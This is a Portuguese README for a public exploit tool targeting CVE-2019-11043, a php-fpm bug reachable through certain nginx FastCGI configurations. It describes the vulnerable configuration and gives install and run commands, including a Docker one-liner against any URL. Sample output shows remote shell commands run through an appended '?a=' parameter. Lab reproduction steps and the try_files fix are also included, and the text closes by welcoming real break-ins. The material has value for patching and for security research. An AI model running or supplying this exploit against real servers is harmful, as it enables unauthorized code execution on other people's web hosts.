
Exploit para CVE-2019-11043
Este é um exploit para um bug no php-fpm (CVE-2019-11043). Em certas configurações de nginx + php-fpm, o bug pode ser acionado externamente. Isso significa que um usuário web pode obter execução de código se você tiver uma configuração vulnerável (veja abaixo).
Como estávamos com preguiça de fazer um writeup, o Orange Tsai publicou uma análise perfeita em seu blog. Créditos a ele.
Além disso, meus slides da ZeroNights 2019 estão disponíveis.
Se um servidor web executa nginx + php-fpm e o nginx tem uma configuração como
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
que também não possui nenhuma verificação de existência de script (como try_files), então você provavelmente pode invadir com este sploit.
location ~ [^/]\.php(/|$) deve ser encaminhado para o php-fpm (talvez a regexp possa ser mais restrita, veja ).PATH_INFO por meio da instrução fastcgi_param PATH_INFO $fastcgi_path_info;. Além disso, SCRIPT_FILENAME deve ser definido usando fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (pode haver um caminho constante em vez de $document_root). A princípio, pensamos que isso estava sempre presente no arquivo fastcgi_params, mas não é verdade.PATH_INFO para um valor vazio. Este exploit assume que a diretiva fastcgi_split_path_info está presente e contém uma regexp que começa com ^ e termina com $, então ele tenta quebrar a regexp com um caractere de nova linha.PATH_INFO é definido depois de REQUEST_URI na configuração.try_files $uri =404 ou if (-f $uri). Se o Nginx descartar requisições para scripts inexistentes antes do encaminhamento FastCGI, nossas requisições nunca chegam ao php-fpm. Adicionar isso também é a maneira mais fácil de corrigir.Há muito tempo, o php-fpm não restringia as extensões dos scripts, o que significava que algo como /avatar.png/some-fake-shit.php poderia executar avatar.png como um script PHP. Esse problema foi corrigido por volta de 2010.
O atual não requer upload de arquivo, funciona nas versões mais recentes (até a correção chegar) e, o mais importante, o exploit é muito mais legal.
Instale usando
go get github.com/neex/phuip-fpizdam
Se você obtiver erros estranhos de compilação, certifique-se de estar usando go >= 1.13. Execute o programa usando phuip-fpizdam [url] (supondo que você tenha o $GOPATH/bin dentro do seu $PATH; caso contrário, especifique o caminho completo para o binário). Uma saída boa se parece com isto:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
Depois disso, você pode começar a acrescentar ?a=<seu comando> a todos os scripts PHP (talvez você precise de várias tentativas).
Alternativamente, você pode usar uma imagem docker para executar o exploit:
docker run --rm ypereirareis/cve-2019-11043 [url]
Se você quiser reproduzir o problema ou brincar com o exploit localmente via Docker, faça o seguinte:
reproducer.docker build -t reproduce-cve-2019-11043 .. Isso leva muito tempo, pois clona internamente o repositório do php e o compila a partir do código-fonte. No entanto, será mais fácil assim se você quiser depurar o exploit. A revisão compilada é a imediatamente anterior à correção.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php?a= ao script: http://127.0.0.1:8080/script.php?a=id. Tente várias vezes, pois apenas alguns dos workers do php-fpm estão infectados.Se você quiser reproduzir o problema ou brincar com o exploit localmente via LXD, faça o seguinte:
vulnerable e attacker. Você pode usar a imagem de contêiner ubuntu:18.04 para ambos os contêineres.vulnerable, instale nginx e php-fpm. Configure o bloco de servidor como esta configuração. Crie um arquivo vazio /var/www/html/index.php.attacker, instale a linguagem Go (sudo snap install go --classic), clone este repositório e execute go build no diretório do repositório../phuip-fpizdam http://vulnerable.lxd/index.php. Tente várias vezes para infectar todos os workers do php-fpm.Para instruções mais detalhadas, veja Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers.
O underflow de buffer no php-fpm está presente na versão 5 do PHP. No entanto, este exploit faz uso de uma otimização usada para armazenar variáveis FastCGI, _fcgi_data_seg. Essa otimização está presente apenas no php 7, então este exploit específico funciona apenas para php 7. Pode haver outra técnica de exploração que funcione no php 5.
Anomalia original descoberta por d90pwn durante a Real World CTF. Causa raiz encontrada por mim (Emil Lerner), assim como a maneira de definir as opções do php.ini. O conjunto final de opções do php.ini foi encontrado por beched.
Este exploit é distribuído sob os termos da MIT License.
Abstenha-se de causar qualquer dano com este exploit. Mas se você realmente invadir algo com esta ferramenta, ficarei feliz.